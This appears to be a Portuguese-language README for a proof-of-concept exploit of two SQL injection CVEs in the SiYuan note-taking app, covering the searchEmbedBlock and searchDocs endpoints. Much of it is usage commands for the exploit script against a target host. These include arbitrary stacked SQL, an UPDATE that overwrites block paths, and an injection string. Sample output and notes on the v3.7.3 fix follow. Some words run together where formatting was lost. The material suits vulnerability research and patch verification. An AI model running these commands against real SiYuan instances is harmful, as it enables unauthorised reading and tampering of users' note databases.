
CVE-2026-69084/69085 — execução arbitrária de SQL no SiYuan via searchEmbedBlock + SQLi no searchDocs (CVSS 9.9). Verificado na v3.7.2, rejeitado na v3.7.3.
CVE-2026-69084: Execução Arbitrária de SQL via /api/search/searchEmbedBlock
CVE-2026-69085: Injeção de SQL via /api/filetree/searchDocs
CVSS 9.9 (Crítico) cada · CWE-89 · SiYuan <= v3.7.2 (corrigido na v3.7.3)
Publicado em 2026-08-03 · sem PoC público no momento da publicação
O SiYuan (aplicativo de anotações de código aberto, github.com/siyuan-note/siyuan) expõe
dois endpoints de API que entregam SQL controlado pelo atacante ao seu banco de dados SQLite:
CVE-2026-69084 — /api/search/searchEmbedBlock:
O parâmetro stmt é passado literalmente ao handle principal de leitura/escrita
siyuan.db sem qualquer restrição de instrução única ou somente leitura. O
driver SQLite executa instruções empilhadas (separadas por ponto e vírgula), portanto
um atacante pode executar / / / / em qualquer coisa
no banco de dados. Protegido apenas por — acessível com um
token RoleReader de publicação, ou anonimamente quando o modo de publicação tem
.
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
O parâmetro keyword é concatenado diretamente no SQL sem escape
ou vinculação de parâmetros.
Ambos foram corrigidos na v3.7.3 via sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Sonda não destrutiva (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. Prova de escrita no banco: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Executar SQL arbitrário (instruções empilhadas suportadas)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. SQLi no searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Se a instância estiver executando com o modo de publicação habilitado e a autenticação desabilitada
(Publish.Auth.Enable=false), nenhum --auth é necessário.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL aceito (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL aceito (blocks: 0)
[+] PROVA DE ESCRITA NO BANCO CONCLUÍDA — tabela pwn_69084 + linha 31337 em siyuan.db
# No host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
v3.7.3 corrigida rejeita as mesmas solicitações:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT único ainda funciona (funcionalidade legítima preservada)O PoC em Python realiza um login de sessão (/api/system/loginAuth) para obter
o cookie de autenticação e, em seguida, envia POST ao endpoint vulnerável. Testado contra
b3log/siyuan:v3.7.2 (vulnerável) e b3log/siyuan:v3.7.3 (corrigida).
Publish.Auth.Enable=true e
use tokens RoleReader fortes.Apenas para testes de segurança autorizados e fins educacionais.